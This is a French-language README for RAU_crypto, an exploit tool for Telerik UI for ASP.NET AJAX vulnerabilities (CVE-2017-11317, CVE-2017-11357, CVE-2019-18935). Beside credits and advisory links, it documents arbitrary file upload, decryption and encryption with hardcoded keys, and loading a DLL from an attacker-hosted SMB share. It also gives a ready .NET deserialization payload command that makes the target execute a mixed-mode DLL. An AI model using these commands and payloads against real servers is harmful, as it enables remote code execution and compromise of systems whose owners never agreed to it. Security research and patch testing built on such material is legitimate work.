RAU_crypto

Exploit combiné pour Telerik UI pour ASP.NET AJAX.

• Téléversement de fichiers pour CVE-2017-11317 et CVE-2017-11357 - téléverse automatiquement le fichier
• Désérialisation .NET pour CVE-2019-18935

Prend désormais en charge le test de la capacité de la cible à récupérer des charges utiles distantes depuis un service SMB hébergé par l'attaquant. Utilisez Burp Collaborator et/ou Responder pour faciliter le test des prérequis nécessaires.

Pour que l'exploitation fonctionne, vous avez généralement besoin d'une version avec des clés codées en dur, ou vous devez connaître la clé, par exemple si vous pouvez divulguer le contenu de web.config. L'exploit permet également de déchiffrer et de chiffrer directement le rauPostData utilisé avec Telerik.Web.UI.WebResource.axd?type=rau

Requirements

• python >= 3.6 avec pycryptodome (https://www.pycryptodome.org/en/latest/src/installation.html) - installé avec pip3 install pycryptodome ou pip3 install pycryptodomex

Publié sur exploit-db (ancienne version)

• https://www.exploit-db.com/exploits/43874/

Voir aussi

Mon autre exploit Telerik UI (pour CVE-2017-9248) vous intéressera probablement aussi. Il est disponible ici :

• https://github.com/bao7uo/dp_crypto

À faire

• Fonctionnalité HMAC manquante pour les versions ultérieures.
• Possibilité de spécifier une clé personnalisée.
• Argument de ligne de commande pour l'exécution d'une DLL en mode mixte (en attendant, utilisez l'exemple de charge utile de désérialisation .NET fourni ci-dessous).
• Arguments de ligne de commande pour tester la capacité de charger à distance (SMB) des DLL en mode mixte hébergées.
• Utilitaire séparé pour tester la DLL en mode mixte.
• Fournir le code source/les instructions de compilation pour la DLL en mode mixte.
• Forcer les versions par force brute.

Remarque - les quatre derniers éléments sont terminés mais non publiés.

Vulnérabilités

La vulnérabilité de téléversement de fichiers (CVE-2017-11317) a été découverte par d'autres, je crois que les crédits reviennent à @straight_blast @pwntester @olekmirosh. Peu après son annonce, j'ai rencontré la bibliothèque Telerik au cours de mon travail, j'ai donc étudié la bibliothèque et la vulnérabilité, puis j'ai écrit cet exploit en juillet 2017. J'ai également signalé CVE-2017-11357 pour la référence directe d'objet non sécurisée associée.

https://www.telerik.com/support/kb/aspnet-ajax/upload-%28async%29/details/insecure-direct-object-reference

La vulnérabilité de désérialisation .NET (CVE-2019-18935) a été découverte par @mwulftange.

https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

Utilisation

$ ./RAU_crypto.py -h

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation

Usage:

Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Check remote SMB payload capability -r lhost url [proxy]

Load remote SMB dll payload         -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload  -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version:           2016.2.504
Example optional proxy:    127.0.0.1:8080

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS

$

Exemple - déchiffrement

Capture d'écran du déchiffrement

Exemple - téléversement arbitraire de fichier

Capture d'écran du téléversement

Charge utile personnalisée (désérialisation .NET)

Pour plus de détails sur les charges utiles personnalisées pour la désérialisation .NET, il y a un excellent article de @mwulftange qui a découvert cette vulnérabilité, sur le blog Code White au lien suivant.

• https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html

Mise à jour - Il existe un exploit alternatif de Caleb Gross @noperator, qui reprend des fonctionnalités de cet exploit, avec un excellent article de blog expliquant tout. Merci également à Caleb pour sa contribution à RAU_Crypto.

• https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui

Autres liens pertinents.

• https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
• https://threatvector.cylance.com/en_us/home/implications-of-loading-net-assemblies.html
• https://thewover.github.io/Mixed-Assemblies/

Exemple de charge utile de désérialisation .NET :

$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau

Pour la DLL en mode mixte, consultez mon autre dépôt github :

• https://github.com/bao7uo/MixedUp

Un merci spécial à @irsdl qui a inspiré la fonctionnalité de charge utile personnalisée.

Crédit à @rwincey qui a inspiré la fonctionnalité de DLL distante.